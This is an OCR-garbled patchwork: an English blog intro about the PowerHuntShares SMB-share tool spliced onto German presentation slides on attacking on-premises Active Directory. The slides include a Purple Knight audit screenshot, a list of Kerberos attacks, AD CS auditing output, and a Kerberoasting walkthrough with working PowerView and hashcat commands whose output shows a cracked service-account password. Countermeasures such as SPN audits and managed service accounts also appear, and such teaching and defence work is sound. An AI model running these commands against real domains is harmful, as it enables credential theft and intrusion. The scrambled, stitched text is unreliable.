TECHNICAL BLOG ADVERSARY SINULATION NETWORK PENETRATION TESTING

Scott Sutherfand

Introduction

Finallty, I'l share a new open-source tool called PowerHuntShares that can holp
streamiine share hunting and remediation of excessive SMB share permissions in Active

Directory environments. This content is also available in a presentation format hete, Or, if
you'd like to hear me talk about this topic, check out our webinar, How to Evaluate Active

Divectory SME Shares at Scale

This should be interesting to people responsible for managing network share access In
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Auditwerkzeug Purple Knight oo
(Closed Source, Lizenz gegen Kontakt)

] [ Purple Knight x == - o X
< @) Q. ad_demos_open_in_sdge/purplaknight/02_27_2022_20_34_43/Sacurity_Assessment_Report_windomain.local_2_27_2022_8_34_43_PM.htm| o = 2
SECURITY INDICATORS
EVALUATED OEs FOUND PASSED FAILED TO RUN CANCELED NOT SELECTED

89/91 O 23 @ 66 Q1 % 0 1

CRITICAL IOEs FOUND

Non-default principals with DC Sync rights on the domain
Any security principals with Replicate Changes All and Replicate Directory Changes permissions on the domain naming context object can potenti...

Read More...

Permission changes on AdminSDHolder object
This indicator looks for Access Control List (ACL) changes on the AdminSDHolder object, which could indicate an attempt to modify permissions o...

Read More...

Read More...

Privileged Users with Weak Password Policy
This indicator looks for privileged users in each domain that don't have a strong password policy enforced, according to ANSSI framework. It chec...

Print spooler service is enabled ona DC
This indicator looks for Domain Controllers that have the print spooler service running. This service is enabled by default.

Read More...
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Kerberos tnon e S
Der dreikopfige Hollenhund

KDC

=

Kerberos-
Komponenten

Benut ter-
Passwort ac — Slssvcérrrtlpu er
Dienst %




Kerberos-Angriffsvektoren in aller Ktrze
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Kerberoasting
(TGSRoasting)

Offline-Passworterraten anhand
eines Servicetickets

Silver Ticket

Gefalschte Tickets gegen einen
einzelnen Prinzipal. Etwa: sich
als ein beliebiger Benutzer auf

einem Rechner ausgeben

ASREProasting

Offline-Passworterraten gegen
einen Benutzer mit

deaktivierter (Standard = ein)
Praauthentifzierung

Golden Ticket

Falschen von Tickets gegen den
DC. Wie: Beliebiger Benutzer
auf allen Rechnern der
Domane aus.

Pass-the-Ticket

Wie PTH, aber mit Tickets,
Immer noch kein Wissen uber
das bendtigte Klartextpasswort

Delegierung

Gefalschte Tickets, die sich
gegen einen oder mehrere
Rechner richten. Komplizierter.
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Kerberoasting
Offline-Bruteforcing von (Benutzer-)Konten mit SPN

Angriffsziel On-Prem-AD | Frank Ully

PS > Get-DomainUser -SPN | select serviceprincipalname, samaccountname

HTTP/iis@l.ad.2consult.ch svc_iis
MSSQLSvc/sqlel.ad.2consult.ch:1433 Administrator [...]

PS > Invoke-Kerberoast | select -expand hash | Out-File -Encoding ASCII kerberoast.txt

$ hashcat -a @ -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
[...]
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
Passwords.: 14344385
: 139921507
Keyspace..: 14344385

$krb5tgs$23$*svc_iis$ad.2consult.ch$[...]:Passwordl23




Kerberoasting
Gegenmalinahmen

Konten mit Service Principal Name (SPN) auditieren (setspn)

C:\> setspn -T windomain -Q */*

CN=mssqgl svc,CN=Users,DC=windomain,DC=1local
mssql svc/mssqglserver.windomain.local

CN=http svc,CN=Users,DC=windomain,DC=1ocal
http svc/httpserver.windomain.local

CN=exchange_svc,CN=Users,DC=windomain,DC=1local
exchange_svc/exserver.windomain.local

Wenn der Dienst nicht verwendet wird, SPN entfernen

Wenn der Dienst verwendet wird: Least-Privilege-Prinzip

Langes und komplexes Passwort, mindestens 25 Zeichen

Fine Grained Password Policies zum Durchsetzen der Passwortrichtlinie

Umstellen auf (group) Managed Service Accounts (MSA, gMSA), falls unterstutzt @
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Active Directory Certificate Services (AD CS)

Angriffsziel On-Prem-AD | Frank Ully

AD CS bietet anpassbare Dienste fur die

Certificate
Ausstellung und Verwaltung von (2) Signing
. . i — Enroll t
digitalen Zertifikaten — SN o
o N ] 3/
Certification Authorities e 500 Cortificate Chan
R it
CA Web Enrollment epesiony - =
. ] ~ | End-Entities
Network Device Enroliment Service (NDES) — Corsiinto | L 1 (userstor)
- . ~— . ‘4 | computers
Certificate Enrollment Web Service Certification Retriev
Revocation
Certificate Enrollment Policy Web Service Repository
~ CRL
Retrieval Certificate
Revocation

List

(s

N

Revocation Request

Quelle: http://download.microsoft.com/download/5/9/8/5987FA9D-06DF-4B71-97DB-EA8E5649C126/01-Introduction%20to%20Active%20Directory.pptx



Active Directory Certificate Services (AD CS):
Juli 2021 Whitepaper ,,Certified Pre-Owned*
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HEFT
(5)

Diebstahl
des
Benutzer/
Maschinen-
Zertifikats

PERSIS ESC
(5) (8)
Enrollment Eskalation

von aktiven In der
Zertifikaten Domane

DPERSIST

3)

Persistenz
In der
Domane

©



CA

Name
Schemaversion
OID

vulnerableTemplateACL
LowPrivcanenrol |
EnrolleeSuppliesSubject
EnhancedKeyUsage

HasAuthenticationEku
HasDangerousEku

CAManagerApproval
IssuanceRequirements

validityPeriod
RenewalPeriod
owner

DACL

Misconfigurations

ADCS auditieren mit
PSPKIAudit

Angriffsziel On-Prem-AD | Frank Ully

: dc.theshire.local\theshire-Dc-CcA
: ESClTemplate
2

. ESCl Template

(1.3.6.1.4.1.311.21.8.10395027.10224472.4213181.15714845.1171465.9.10657968.9897558)

: False

: True

: True

: Client Authentication (1.3.6.1.5.5.7.3.2)|Secure Email (1.3.6.1.5.5.7.3.4) |Encrypting File

System (1.3.6.1.4.1.311.10.3.4)

: True
: False
EnrollmentAgentTemplate :

False

: False

[Issuance Requirements]
Authorized signature count: 0 )
ReenrolIment requires: same criteria as for enrollment.

: 1 years

: 6 weeks

: THESHIRE\localadmin

: NT AUTHORITY\Authenticated users (Allow) - Read

THESHIRE\Domain Admins (Allow) - Read, write, Enrol]l
THESHIRE\Domain Users (Allow) - Enroll
THESHIRE\Enterprise Admins (Allow) - Read, write, Enroll
THESHIRE\Tocaladmin (Allow) - Read, write

SEESCL

Quelle: https://github.com/GhostPack/PSPKIAudit#output-explanation
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